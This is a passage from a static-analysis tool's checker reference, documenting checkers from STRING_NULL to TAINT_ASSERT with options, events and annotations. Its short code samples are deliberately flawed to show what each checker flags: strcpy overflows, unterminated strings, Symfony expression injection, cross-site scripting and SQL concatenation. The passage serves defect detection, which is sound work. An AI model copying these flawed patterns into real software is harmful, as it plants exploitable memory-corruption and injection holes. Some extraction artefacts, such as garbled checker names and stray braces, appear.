This section provides one or more `STRICT_TRANSPORT_SECURITY` examples.

In Ruby on Rails, you can enable or disable the Strict-Transport-Security header in the application configuration.

In the following example, if the `config.force_ssl` option is disabled or not set, a `STRICT_TRANSPORT_SECURITY` defect is displayed:

```
Rails.application.configure do
 config.force_ssl = false
end
```



### Note

The `config.force_ssl` option in Ruby on Rails enables the following:

- All HTTP requests are redirected to HTTPS
- All responses will contain the Strict-Transport-Security header (HSTS)
- All cookies will have the `secure` flag

## 4.293. STRING\_NULL

Quality, Security Checker

### 4.293.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

`STRING_NULL` finds many cases where non-null-terminated strings (for example, a string contained in a network packet) are used unsafely.

Because they are pointers to blocks of characters in memory, it is imperative that string arguments be null-terminated before functions manipulate them. When passed to functions such as `strlen()`, non-null terminated strings can cause looping or overflow defects.

**Disabled by default:** `STRING_NULL` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Security checker enablement:** To enable `STRING_NULL` along with other security checkers, use the `--security` option with the `cov-analyze` command.

## 4.293.2. Examples

This section provides one or more `STRING_NULL` examples.

This example reports a defect because the `name` string is not null-terminated and is passed to `process_filename()`, which searches `name` until it finds a null terminator. If `name` lacks a null-terminator `process_filename()` could potentially corrupt memory.

```
char *string_null_example() {
 char name[1024];
 char *extension;

 string_from_net(fd, 1023, name); // read from net, no null-termination
 if (x[0] != SOME_CHAR) {
 extension = process_filename(name); // process until '\0' found
 }
}
```

A quick fix for these type of defects is to null-terminate strings after reading them in from a string null source such as `string_from_net()` and before passing them to a string null sink such as `process_filename()`.

## 4.293.3. Models and annotations

The following primitives are useful for custom models that can help `STRING_NULL` analysis.

This model indicates that `custom_network_read()` will return a non null-terminated character array.

```
char *custom_network_read() {
 return __coverity_string_null_return__();
}
```

This model indicates that `custom_packet_read()` will assign argument `s` to a character array possibly without null-termination.

```
void custom_packet_read(char *s) {
 __coverity_string_null_argument__(s);
}
```

This model indicates that `custom_string_replace()` must be protected from non null-terminated strings.

```
void custom_string_replace(char *s, char c, char x) {
 __coverity_string_null_sink__(s);
}
```

This model indicates that `custom_varargs()`'s argument 2 and onward should be length-checked before being passed to `custom_vararg()`.

```
void custom_vararg(char *s, char *format, ...) {
 __coverity_string_null_sink_vararg__(2);
}
```

```
}

```

Rather than call `__coverity` functions directly in code, function annotations can be expressed in comments with the following tags:

- `+string_null_return` : Specifies that a function can return a non null-terminated character array. For example, the following code specifies that the `custom_network_read()` function returns a non null-terminated character array:

```
// coverity[+string_null_return]
char* custom_network_read() {...}

```

- `+string_null_argument` : Specifies that a function can assign an argument to a non null-terminated character array. For example, the following code specifies that the `custom_packet_read()` function assigns a non null-terminated character array to its `s` argument:

```
// coverity[+string_null_argument : arg-0]
size_t custom_packet_read(char* s) {...}

```

- `+string_null_sink` : Specifies that a function requires a null-terminated string as an argument. For example, the following code specifies that the `custom_string_replace()` function requires an `s` string argument that is null-terminated:

```
// coverity[+string_null_sink : arg-0]
void custom_string_replace(char* s) {...}

```

You can create a model without primitives to override inferred models and remove improper use of non-terminated strings. You can suppress single defects with the `//coverity` annotations.

STRING\_NULL infers three different types of incorrect interprocedural information:

1. A string returned from a function can be non null-terminated.
2. A function can fill an argument with a non null-terminated string.
3. A potentially non null-terminated string is passed to a dangerous string null sink.

For example, suppose the function `next_string(char *s)` is analyzed incorrectly and Coverity assumes that it stores a non-null-terminated string into the argument `s`. In fact, you know that argument is always null-terminated and `next_string()` should not be regarded as a string null source. You can add the following model to the library to suppress this false positive:

```
size_t next_string(char *s) {
 size_t size_s;
 return size_s;
}

```

This model indicates to the analysis that the function is *not* a string null source.

You can use the following annotation tags to indicate which function models to ignore:

- `-string_null_return` : Specifies that a function does not return a non null-terminated character array. For example, the following code specifies that the `custom_network_read()` function does not return a non null-terminated character array:

```
// coverity[-string_null_return]
char* custom_network_read() {...}
```

- `-string_null_argument` : Specifies that a function cannot assign an argument to a non null-terminated character array. For example, the following code specifies that the `custom_packet_read()` function does not assign a non null-terminated character array to its `s` argument:

```
// coverity[-string_null_argument : arg-0]
size_t custom_packet_read(char* s) {...}
```

- `-string_null_sink` : Specifies that a function does not require a null-terminated string as an argument. For example, the following code specifies that the `custom_string_replace()` function does not require an `s` string argument that is null-terminated:

```
// coverity[-string_null_sink : arg-0]
void custom_string_replace(char* s) {...}
```

#### 4.293.4. Events

This section describes one or more events produced by the `STRING_NULL` checker.

- **string\_null\_return**: A function that can return a non null-terminated string.
- **string\_null\_argument**: A function that can set an argument to be a non null-terminated string.
- **tainted\_data\_transitive**: A function that will transitively taint a given interface (argument or return), based on the tainted status of an argument.
- **string\_null**: Either a potentially non null-terminated string has been passed to a string null sink or a potentially non null-terminated string is used in the condition of a for/while loop that searches for a terminating null character.

### 4.294. STRING\_OVERFLOW

Quality, Security Checker

#### 4.294.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

`STRING_OVERFLOW` finds many cases where a string manipulation function (for example, `strcpy`) might write past the end of the allocated array. It determines this based on the sizes of the arrays involved at the call site to the string manipulation function. It reports a defect if it finds a buffer copying function where the source string is larger than the destination string. It issues a warning for all other possible string overflows.

String overflows are one of the premier causes of C/C++ memory corruption and security vulnerabilities. Memory corruption occurs when memory outside the bounds of a string buffer is inadvertently overwritten. Buffer overruns are common because languages such as C and C++ are inherently unsafe : their string manipulation routines do not automatically perform bounds-checking, leaving it up to the programmer to perform this task.

STRING\_OVERFLOW analyzes calls to the following functions:

- strcpy , strcat
- wcsncpy , wscat
- StrCpy , StrCpyA , StrCpyW , StrCat , StrCatA , StrCatW
- OemToChar , OemToCharA , OemToCharW , OemToAnsi , OemToAnsiA , OemToAnsiW
- \_mbstrcpy , \_mbscat , \_tcscat , \_tcscopy
- lstrcpy , lstrcpyA , lstrcpyW ,
- lstrcat , lstrcatA , lstrcatW

**Disabled by default:** STRING\_OVERFLOW is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Security checker enablement:** To enable STRING\_OVERFLOW along with other security checkers, use the `--security` option with the `cov-analyze` command.

#### 4.294.2. Examples

This section provides one or more STRING\_OVERFLOW examples.

The following example flags a defect because, for the `strcpy()` call, the source string is larger than the destination string.

```
void string_overflow_example() {
 char destination_buffer[256];
 char source_buffer[1024];
 ...
 strcpy(destination_buffer, source_buffer);
}
```

#### 4.294.3. Options

This section describes one or more STRING\_OVERFLOW options.

You can set specific checker option values by passing them with `--checker-option` to the `cov-analyze` command. For details, refer to the *Coverity Command Reference*.

- `STRING_OVERFLOW:report_fixed_size_dest:<boolean>` - When this option is true, the checker reports defects if the destination size is known, but the source size is not (for example, a pointer). These are potential overflows because the source could be arbitrarily large

and should be length checked before being passed to the copy routine. When set to `false`, defects are not reported unless both source and destination sizes are known. Defaults to `STRING_OVERFLOW:report_fixed_size_dest:true`

#### 4.294.4. Events

This section describes one or more events produced by the `STRING_OVERFLOW` checker.

- `string_overflow` - A string function has been called that can possibly cause an overflow.
- `parameter_as_source` - The source argument is a parameter of the current function.

### 4.295. STRING\_SIZE

Quality, Security Checker

#### 4.295.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

`STRING_SIZE` finds cases where a string manipulation function (for example, `strcpy`) might write past the end of the allocated array. It determines this by following a string from its tainted source, past any length checking routines that might otherwise sanitize it, and to a trusted sink that does not check the length itself. Unlike `STRING_OVERFLOW`, which also finds array overruns involving strings, `STRING_SIZE` follows an interprocedural dataflow path from source to sink rather than relying on information locally available at a string manipulation call site. A `STRING_SIZE` defect can potentially cause buffer overflows, memory corruption, and program crashes.

To fix this defect, you should either length-check strings of arbitrary length before copying them into fixed size buffers, or use safe copying functions (for example: `strncpy()` instead of `strcpy()`).

**Disabled by default:** `STRING_SIZE` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Security checker enablement:** To enable `STRING_SIZE` along with other security checkers, use the `--security` option with the `cov-analyze` command.

#### 4.295.2. Examples

This section provides one or more `STRING_SIZE` examples.

In the following example, if `gethostbyaddr()` returns inauthentic DNS results, the `he->h_name` field can be of arbitrary length. A size-check must be performed to ensure it fits inside the `addr` buffer.

```
char *string_size_example() {
 static char addr[100];
 struct hostent *he;
 he = gethostbyaddr(address, len, type);
 strcpy(addr, he->h_name);
 return addr;
}
```

### 4.295.3. Models and annotations

You can use Coverity Analysis primitives to create custom models for `STRING_SIZE`.

The following model indicates that `custom_string_return()` returns a string of arbitrary size and must be sanitized before a potentially dangerous use:

```
string custom_string_return() {
 return __coverity_string_size_return__();
}
```

The following model indicates that `custom_string_length()` correctly sanitizes `s` with respect to its length:

```
size_t custom_string_length(const char *s) {
 size_t len;
 __coverity_string_size_sanitize__(s);
 return len;
}
```

The following model indicates that `custom_string_process()` is a string size sink with respect to argument `s` and must be protected from arbitrarily large strings:

```
void *custom_string_process(const char *s) {
 __coverity_string_size_sink__(s);
}
```

The following model indicates that `custom_varargs()`'s argument 2 and onward should be sanitized before a call to `custom_vararg()`:

```
void custom_vararg(char *s, char *format, ...) {
 __coverity_string_size_sink_vararg__(2);
}
```

Instead of using library models that call `__coverity` functions, you can use function annotations in source code comments with the following tags:

- `+string_size_return`: Specifies that a function returns a string of arbitrary size. For example, the following code specifies that the `custom_string_return()` function returns a string of arbitrary size:

```
// coverity[+string_size_return]
char* custom_string_return() {...}
```

- `+string_size_sanitize`: Specifies that a function sanitizes a string argument. For example, the following code specifies that the `custom_string_length()` function sanitizes `s`:

```
// coverity[+string_size_sanitize : arg-0]
size_t custom_string_length(char* s) {...}
```

- `+string_size_sink` : Specifies that a function requires a string whose length is sanitized as an argument. For example, the following code specifies that the `custom_string_process()` function requires an `s` string argument whose length is sanitized:

```
// coverity[+string_size_sink : arg-0]
void *custom_string_process(char* s) {...}
```

You can create a model without Coverity Analysis primitives to overwrite inferred models. You can suppress single defects using the `//coverity` annotations.

STRING\_SIZE can infer three types of incorrect interprocedural information:

- A string returned from a function can be arbitrarily large.
- A function successfully sanitizes a given string.
- A potentially large string is passed to a dangerous string size sink.

For example, suppose Coverity Analysis incorrectly analyzes the function `process_string(char *s)` and assumes that its first argument is ultimately passed to a string size sink such as `strcpy()`. If that argument is, in fact, used only in a safe manner, `process_string()` should not be regarded as a string size sink. To eliminate this false positive, you can add the following model to the library:

```
size_t process_string(char *s) {
 size_t size_s;
 return size_s;
}
```

This model indicates that the function should not be considered a string size sink.

You can use function annotations to ignore function models with the following tags:

- `-string_size_return` : Specifies that a function does not return a string of arbitrary size. For example, the following code specifies that the `custom_string_return()` function does not return a string of arbitrary size:

```
// coverity[-string_size_return]
char* custom_string_return() {...}
```

- `-string_size_sanitize` : Specifies that a function does not sanitize a string argument with respect to its length. For example, the following code specifies that the `custom_string_length()` function does not sanitize the length of its `s` string argument:

```
// coverity[-string_size_sanitize : arg-0]
size_t custom_string_length(char* s) {...}
```

- `-string_size_sink` : Specifies that a function requires a string whose length is not sanitized as an argument. For example, the following code specifies that the `custom_string_process()` function does not require an `s` string argument whose length is sanitized:

```
// coverity[-string_size_sink : arg-0]
void *custom_string_process(char* s) {...}
```

#### 4.295.4. Events

This section describes one or more events produced by the `STRING_SIZE` checker.

- `string_size_return` - A function that can return an arbitrarily large string to the current call site.
- `string_size` - A potentially arbitrarily large string has been passed to a string size sink.

### 4.296. SWAPPED\_ARGUMENTS

Quality Checker

#### 4.296.1. Overview

**Supported Languages:** C, C++, C#, Java, Objective-C, Objective-C++, and Visual Basic

SWAPPED\_ARGUMENTS finds many instances in which the arguments to a function are provided in an incorrect order. The checker attempts to determine a correct ordering by comparing call arguments with the names of parameters in the definition of the function.

In Java, C#, and Visual Basic the checker is only able to report on calls to functions implemented in bytecode if debugging information is present and includes parameter names.

**Enabled by default:** SWAPPED\_ARGUMENTS is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

#### 4.296.2. Examples

This section provides one or more SWAPPED\_ARGUMENTS examples.

##### 4.296.2.1. C/C++

The following example shows a defect due to the programmer assuming that the destination argument appears first.

```
void copy(int srcId, int dstId) { /* ... */ }
void test() {
 int srcId = 1;
 int dstId = 2;
 copy(dstId, srcId); /* Defect: arguments are swapped. */
}
```

##### 4.296.2.2. C# and Java

In this example, a defect is reported at the call to `copy` since the destination and source arguments were swapped.

```

class SwArguments {
 void copy(object src, object dest) {
 }
 void bug() {
 object src = null;
 object dest = null;
 copy(dest, src); /* Defect: arguments are swapped. */
 }
}

```

#### 4.296.2.3. Visual Basic

In this example, a defect is reported at the call to `copy` since the destination and source arguments were swapped.

```

Class SwappedArguments
 Private Sub Copy(src As Object, dest As Object)
 End Sub

 Private Sub Example()
 Dim src As Object = Nothing
 Dim dest As Object = Nothing
 Copy(dest, src) ' The source and destination are swapped.
 End Sub
End Class

```

#### 4.296.3. Options

This section describes one or more `SWAPPED_ARGUMENTS` options.

You can set specific checker option values by passing them with `--checker-option` to the **coverity-analyze** command. For details, refer to the *Coverity Command Reference*.

- `SWAPPED_ARGUMENTS:callee_name_has:<regular_expression>` - For this option, the checker will not report a defect if the regular expression matches in the simple function name of the callee (class, package, and namespace name not included). Defaults to `SWAPPED_ARGUMENTS:callee_name_has:[eE]qual`
- `SWAPPED_ARGUMENTS:caller_name_has:<regular_expression>` - For this option, the checker will not report a defect if the regular expression matches in the simple function name or simple class name of the caller (where defect is reported; package and namespace names not included). Defaults to `SWAPPED_ARGUMENTS:caller_name_has:verse|vert|[sS]wap|[uU]ndo|[eE]xchange|[rR]otate|[tT]rans`

#### 4.296.4. Models

Because `SWAPPED_ARGUMENTS` uses models to identify the parameter names of callees, the declared names of parameters within models are key to the reporting of `SWAPPED_ARGUMENTS` defects. So when writing a model, Coverity suggests that you use good parameter names, such as the parameter names that you would declare and implement in the source code for your application. If you instead

provide positional parameter names such as `arg0`, `arg1`, and so on, the checker will ignore them and thereby suppress `SWAPPED_ARGUMENTS` defects in any callers. Using good parameter names or positional parameter names in user models will suppress false positive defect reports that result from confusing parameter names in bytecode.

### 4.296.5. Events

This section describes one or more events produced by the `SWAPPED_ARGUMENTS` checker.

- `swapped_arguments` - The arguments to a function call are in the wrong order.

## 4.297. SYMBIAN.CLEANUP\_STACK

Quality Checker

### 4.297.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

DEPRECATED: `SYMBIAN.CLEANUP_STACK` is deprecated in 8.7 and will be removed from a future release. This checker finds many cases where the memory allocation conventions of the Symbian OS "cleanup stack" are violated.

The Symbian OS has a special exception-like mechanism for reporting and handling errors. Central to this mechanism is a global cleanup stack, onto which outstanding obligations are placed. When an error (called a *leave*) occurs, those obligations are processed, thus avoiding memory leaks. Interaction with this stack can be error-prone, and `SYMBIAN.CLEANUP_STACK` reports many of these errors. `SYMBIAN.CLEANUP_STACK` checks that whenever a *leave* is called, every allocated object is on the cleanup stack or pointed-to by some data structure. Otherwise, if a *leave* is called, an object that is not on the stack or in a data structure is leaked.

In addition, this checker examines the following:

- Objects are neither deallocated nor on the cleanup stack when they go out of scope or have no more pointers pointing to them.
- Objects are not manifestly freed more than once.
- No object appears on the stack more than one time.
- Objects are on the cleanup stack even after they have been deallocated causing a potential double-free.
- Functions always exit with a net of zero elements on the stack, or one element for functions that end with `LC`.

See Section 4.298, "SYMBIAN.NAMING" for more information on other Symbian defects.

**Disabled by default:** `SYMBIAN.CLEANUP_STACK` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Symbian checker enablement:** To enable `SYMBIAN.CLEANUP_STACK` along with other Symbian checkers, use the `--symbian` option.

## 4.297.2. Examples

This section provides one or more `SYMBIAN.CLEANUP_STACK` examples.

Three defects are shown in the following examples.

In function `test1`, object `a1` is not on the cleanup stack when the function `leaverL` could potentially leave the execution.

In function `test2`, a defect is reported because object `a2` is pushed onto the cleanup stack twice, once in `newLC` and once in `test2`.

In function `test3`, a defect is reported because object `a3` is freed while it is still on the cleanup stack causing a potential double-free.

```
struct A : public CBase {
 int a;
 int *b;

 static A* newLC();
}

TInt func();

void leaverL() {
 User::LeaveIfError(func());
}

A* A::newLC() {
 A *a = new (ELeave) A;
 CleanupStack::PushL(a);
 return a;
}

void test1() {
 A *a1 = new (ELeave) A;

 leaverL(); /* Defect: a1 not on cleanup stack
 when leaving function called */
}

void test2() {
 // Allocate and push object onto cleanup stack
 A *a2 = A::newLC();

 CleanupStack::PushL(a2) // Defect: a2 pushed onto cleanup stack twice
}

void test3() {
```

```
// Allocate and push object onto cleanup stack
A *a3 = A::newLC();

delete a3; // Defect: a3 freed but still on cleanup stack (double free)
}
```

### 4.297.3. Options

This section describes one or more `SYMBIAN.CLEANUP_STACK` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `SYMBIAN.CLEANUP_STACK:aliases_as_free:<boolean>` - When this option is true, the checker treats the aliasing of allocated memory as potentially free, and then reports double-frees if the memory is explicitly freed. This option is prone to a high false positive rate. Defaults to `SYMBIAN.CLEANUP_STACK:aliases_as_free:false` (C++ and Objective-C++ only).

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `high`.

- `SYMBIAN.CLEANUP_STACK:bad_pop:<boolean>` - When this option is true, the checker checks if the argument to a `Pop` or `PopAndDestroy` function matches the element being popped from the cleanup stack. Defaults to `SYMBIAN.CLEANUP_STACK:bad_pop:false` (C++ and Objective-C++ only).

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `medium` (or to `high`).

- `SYMBIAN.CLEANUP_STACK:infer_allocs:<boolean>` - When this option is true, the checker infers allocations when it discovers memory whose allocation site has not been seen being pushed to the cleanup stack. The default value is `false`, meaning that it does not report non-pushes to the cleanup stack. Defaults to `SYMBIAN.CLEANUP_STACK:infer_allocs:false` (C++ and Objective-C++ only).

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `medium` (or to `high`).

- `SYMBIAN.CLEANUP_STACK:multiple_pushes:<boolean>` - When this option is true, the checker reports when a function pushes more than one memory allocation onto the cleanup stack. That would violate the rule that a function is only allowed to push at most one memory allocation onto the cleanup stack. Defaults to `SYMBIAN.CLEANUP_STACK:multiple_pushes:false` (C++ and Objective-C++ only).

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `medium` (or to `high`).

### 4.297.4. Events

This section describes one or more events produced by the `SYMBIAN.CLEANUP_STACK` checker.

- `alias` - An object is aliased by storing pointer in a data structure.
- `alloc_fn` - Allocation function.
- `alloc_push_fn` - Allocation function pushes allocated memory onto global cleanup stack.
- `assign` - A pointer is assigned either the return value from a function that allocates memory or a value from another pointer.
- `bad_pop_arg` - Argument to a popping function does not match argument that is being popped from the cleanup stack.
- `double_free` - An object is freed twice or is freed while it is on the global cleanup stack.
- `double_push` - An object is pushed more than once onto the cleanup stack.
- `freed_arg` - Deallocation of an object.
- `identity` - A method returns one of its arguments.
- `leave_without_push` - Leave called without push to global cleanup stack.
- `memory leak` - Memory leak.
- `more_than_one_push` - More than one allocation is pushed onto the cleanup stack along a path in a function.
- `pop` - Pop to global cleanup stack.
- `push` - Push to global cleanup stack.

## 4.298. SYMBIAN.NAMING

Quality Checker

### 4.298.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

DEPRECATED: `SYMBIAN.NAMING` is deprecated in 8.7 and will be removed from a future release. This checker reports certain violations of the naming conventions used in the Symbian OS for classes and functions. By default, it enforces the rule that a function that can potentially leave or call a leaving function should contain `L` in its suffix.

See Options for additional naming convention checks.

The Symbian OS uses mandated standard naming conventions for classes and functions. The naming conventions can be related to memory management through the cleanup stack or other simple inheritance-related or functional behavior. Violations of the naming conventions can lead to erroneous code due to the wrong assumptions made by clients of the function or the class regarding its behavior.

See Section 4.297, “`SYMBIAN.CLEANUP_STACK`” for more information on other Symbian defects.

**Disabled by default:** `SYMBIAN.NAMING` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Symbian checker enablement:** To enable `SYMBIAN.NAMING` along with other Symbian checkers, use the `--symbian` option.

## 4.298.2. Examples

This section provides one or more `SYMBIAN.NAMING` examples.

In the following examples, the `test()` and `test2` functions should be renamed to end with `L` and `LC`, respectively:

```
void test() (// Defect: test should have L in its suffix
 func();
 func2L(); // Call leaving function
)

A* test2() (/* Defect: test2 should have LC in its suffix,
 assumes report_LC_errors option set */
 A *sta = new A;
 CleanupStack::PushL(sta); // push sta onto cleanup stack
 return sta;
)
```

## 4.298.3. Options

This section describes one or more `SYMBIAN.NAMING` options.

You can set specific checker option values by passing them with `--checker-option` to the `cov-analyze` command. For details, refer to the *Coverity Command Reference*.

- `SYMBIAN.NAMING:report_LC_errors:<boolean>` - When this option is true, the checker reports a defect if a function that pushes an item onto the cleanup stack does not have `LC` in its suffix. Defaults to `SYMBIAN.NAMING:report_LC_errors:false` (C++ and Objective-C++ only). Does not check for an `LC` suffix.

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the `cov-analyze` command is set to `medium` (or to `high`).

## 4.298.4. Events

This section describes one or more events produced by the `SYMBIAN.NAMING` checker.

- `assign` - A pointer is assigned a value from another pointer or from a function that returns allocated memory.
- `identity` - A method returns one of its arguments.
- `leave` - Leaving function called.
- `naming_error` - Violation of the Symbian naming convention.

- `pop` - Pop element off cleanup stack.
- `push` - Push element onto cleanup stack.

## 4.299. SYMFONY\_EL\_INJECTION

Security Checker

### 4.299.1. Overview

**Supported Languages:** PHP

The `SYMFONY_EL_INJECTION` checker finds Symfony Expression Language injection vulnerabilities in PHP code. These vulnerabilities occur when untrusted (tainted) data is evaluated by the Symfony Expression Language interpreter.

**Disabled by default:** `SYMFONY_EL_INJECTION` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Web application security checker enablement:** To enable `SYMFONY_EL_INJECTION` along with other Web application checkers, use the `--webapp-security` option.

This is a tainted data checker. For more information, see Section 6.8, “Tainted Data Overview”.

### 4.299.2. Defect Anatomy

A `SYMFONY_EL_INJECTION` defect shows a dataflow path by which an untrusted (tainted) source is used to construct an expression that is evaluated by the Symfony. The dataflow path starts at a source of untrusted data, such as getting input from an HTTP request. From there, the events in the defect show how this tainted data flows through the program; for example, from the argument of a function call to the parameter of the called function. The final part of the dataflow path shows the tainted string evaluated as a Symfony Expression.

### 4.299.3. Examples

This section provides one or more `SYMFONY_EL_INJECTION` examples.

The following example passes the tainted data from an HTTP request to Symfony Expression Language:

```
<?php
use Symfony\Component\ExpressionLanguage\ExpressionLanguage;

function check_if_username_is_valid($username) {
 $language = new ExpressionLanguage();

 $ret = $language->evaluate($_GET["username"] . ' matches "/[a-zA-Z0-9]/"');

 if ($ret) {
 print "Valid Username\n";
 }
}
```

```
 } else {
 print "Invalid Username\n";
 }
}
?>
```

#### 4.299.4. Options

This section describes one or more `SYMFONY_EL_INJECTION` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `SYMFONY_EL_INJECTION:distrust_all:<boolean>` - [PHP only] Setting this option to true is equivalent to setting all `trust_*` checker options for this checker to false. Defaults to `SYMFONY_EL_INJECTION:distrust_all:false` for PHP.

This checker option is automatically set to `true` if the `SYMFONY_EL_INJECTION:webapp-security-aggressiveness-level` option of the **cov-analyze** command is set to `high`.

- `SYMFONY_EL_INJECTION:trust_command_line:<boolean>` - [PHP only] Setting this option to false causes the analysis to treat command line arguments as tainted. Defaults to `SYMFONY_EL_INJECTION:trust_command_line:true` for PHP. Setting this checker option will override the global `--trust-command-line` and `--distrust-command-line` command line options.
- `SYMFONY_EL_INJECTION:trust_console:<boolean>` - [PHP only] Setting this Web application security option to false causes the analysis to treat data from the console as tainted. Defaults to `SYMFONY_EL_INJECTION:trust_console:true` for PHP. Setting this checker option will override the global `--trust-console` and `--distrust-console` command line options.
- `SYMFONY_EL_INJECTION:trust_cookie:<boolean>` - [PHP only] Setting this Web application security option to false causes the analysis to treat data from HTTP cookies as tainted. Defaults to `SYMFONY_EL_INJECTION:trust_cookie:false` for PHP. Setting this checker option will override the global `--trust-cookie` and `--distrust-cookie` command line options.
- `SYMFONY_EL_INJECTION:trust_database:<boolean>` - [PHP only] Setting this Web application security option to false causes the analysis to treat data from a database as tainted. Defaults to `SYMFONY_EL_INJECTION:trust_database:true` for PHP. Setting this checker option will override the global `--trust-database` and `--distrust-database` command line options.
- `SYMFONY_EL_INJECTION:trust_environment:<boolean>` - [PHP only] Setting this Web application security option to false causes the analysis to treat data from environment variables as tainted. Defaults to `SYMFONY_EL_INJECTION:trust_environment:true` for PHP. Setting this checker option will override the global `--trust-environment` and `--distrust-environment` command line options.
- `SYMFONY_EL_INJECTION:trust_filesystem:<boolean>` - [PHP only] Setting this Web application option to false causes the analysis to treat data from the filesystem as tainted. Defaults

to `SYMFONY_EL_INJECTION:trust_filesystem:true` for PHP. Setting this checker option will override the global `--trust-filesystem` and `--distrust-filesystem` command line options.

- `SYMFONY_EL_INJECTION:trust_http:<boolean>` - [PHP only] Setting this Web application security option to false causes the analysis to treat data from HTTP requests as tainted. Defaults to `SYMFONY_EL_INJECTION:trust_http:false` for PHP. Setting this checker option will override the global `--trust-http` and `--distrust-http` command line options.
- `SYMFONY_EL_INJECTION:trust_http_header:<boolean>` - [PHP only] Setting this Web application security option to false causes the analysis to treat data from HTTP headers as tainted. Defaults to `SYMFONY_EL_INJECTION:trust_http_header:false`. Setting this checker option will override the global `--trust-http-header` and `--distrust-http-header` command line options.
- `SYMFONY_EL_INJECTION:trust_network:<boolean>` - [PHP only] Setting this Web application security option to false causes the analysis to treat data from the network as tainted. Defaults to `SYMFONY_EL_INJECTION:trust_network:false` for PHP. Setting this checker option will override the global `--trust-network` and `--distrust-network` command line options.
- `SYMFONY_EL_INJECTION:trust_rpc:<boolean>` - [PHP only] Setting this Web application security option to false causes the analysis to treat data from RPC requests as tainted. Defaults to `SYMFONY_EL_INJECTION:trust_rpc:false` for PHP. Setting this checker option will override the global `--trust-rpc` and `--distrust-rpc` command line options.
- `SYMFONY_EL_INJECTION:trust_system_properties:<boolean>` - [PHP only] Setting this Web application security option to false causes the analysis to treat data from system properties as tainted. Defaults to `SYMFONY_EL_INJECTION:trust_system_properties:true` for PHP. Setting this checker option will override the global `--trust-system-properties` and `--distrust-system-properties` command line options.

## 4.300. TAINT\_ASSERT

Security, Web Application Checker

### 4.300.1. Overview

**Supported Languages:** C#, Java

TAINT\_ASSERT identifies fields with a discrepancy between the user-asserted non-taintedness and the computed taint as determined by the Coverity analysis. This might indicate that the assertion is incorrect, and it should be reviewed as how the tainted data is inserted into the value (and the assertion removed if invalid). The presence of an incorrect assertion might suppress legitimate security defects that would otherwise be reported by the other web application security checkers.

This checker is not affected by the presence of positive assertions about taintedness.

User assertions about the non-taintedness of a field can be specified by adding an annotation in the source code at the field definition, or through the `cov-analyze --not-tainted-field` command line option. For more information, see Options.

Defects will only be reported by this checker if either the not-tainted annotation or command line option is in use.

**Disabled by default:** `TAINT_ASSERT` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Web application security checker enablement:** To enable `TAINT_ASSERT` along with other Web application checkers, use the `--webapp-security` option.

## 4.300.2. Examples

This section provides one or more `TAINT_ASSERT` examples.

### 4.300.2.1. Java

The following example illustrates an issue report in a Spring MVC 3.0 Web application controller. Without the annotation on line 7 in `Record.java`, a cross-site scripting defect will be reported on line 16 (as well as line 15) in `MyController.java`. With the `@NotTainted` annotation, the cross-site scripting (XSS) defect reported on line 16 in `MyController.java` will be suppressed, and a `TAINT_ASSERT` defect will be reported on line 7 in `Record.java`.

`Record.java`

```
1 import com.coverity.annotations.NotTainted;
2
3 public class Record {
4 Record(String n, String s) { name = n; status = s; }
5
6 String name;
7 @NotTainted String status;
8 }
```

`MyController.java`:

```
1 import org.springframework.web.bind.annotation.RequestMapping;
2 import org.springframework.stereotype.Controller;
3
4 @Controller
5 public class MyController {
6
7 @RequestMapping("/new_record")
8 @ResponseBody
9 public String newRecord(HttpServletRequest req) {
10 Record rec = new Record(req.getParameter("name"),
11 req.getParameter("status"));
12
13 StringBuilder sb = new StringBuilder();
14 sb.append("<HTML><BODY>\n");
15 sb.append("name= "+rec.name+"\n");
16 sb.append("status= "+rec.status+"\n");
```

```
17 sb.append("</BODY></HTML>\n");
18
19 return sb.toString();
20 }
21 }
```

Alternatively, if the **cov-analyze --not-tainted-field Record.\*** command line option is passed with the above code, all string-valued fields of the Record class (name and status) would be asserted to be not tainted. In this scenario, no cross-site scripting defects would be reported, but TAIN\_T\_ASSERT issues would be reported on both lines 6 and 7 of Record.java .

#### 4.300.2.2. C#

The following example contrasts defect reports by the TAIN\_T\_ASSERT and SQLI checkers when the [NotTainted] attribute is used.

```
using System.Web;
using Coverity.Attributes;

public class TaintAssert {

 [NotTainted] string asserted_safe; // TAIN_T_ASSERT defect

 public void violate_assertion(HttpRequest req)
 {
 asserted_safe = req["MyParameter"];
 }

 public string user_assertion()
 {
 // Other checkers (for example, SQLI) will honor the [NotTainted] assertion.
 return "SELECT * from table USERS where " + asserted_safe; // not an SQLI
 }
 defect
}
}
```

#### 4.300.3. Options

There are no options to this checker. For further details, see Section 4.300.5, “Annotations and Attributes” for TAIN\_T\_ASSERT.

#### 4.300.4. Events

This section describes one or more events produced by the TAIN\_T\_ASSERT checker.

- `taint_violation` (main event) : Tainted data flows to a field that is marked as untainted.

##### Dataflow events

- `member_init` - Creating an instance of a class using tainted data initializes a member of that class with tainted data.

- `object_construction` - Creating an instance of a class using tainted data.
- `subclass` - Creating an instance of a class to use as a superclass.
- `taint_alias` - A tainted object is aliased.
- `taint_path` - A tainted value has been assigned to a local variable.
- `taint_path_arg` - A tainted value has been used as an argument to a method.
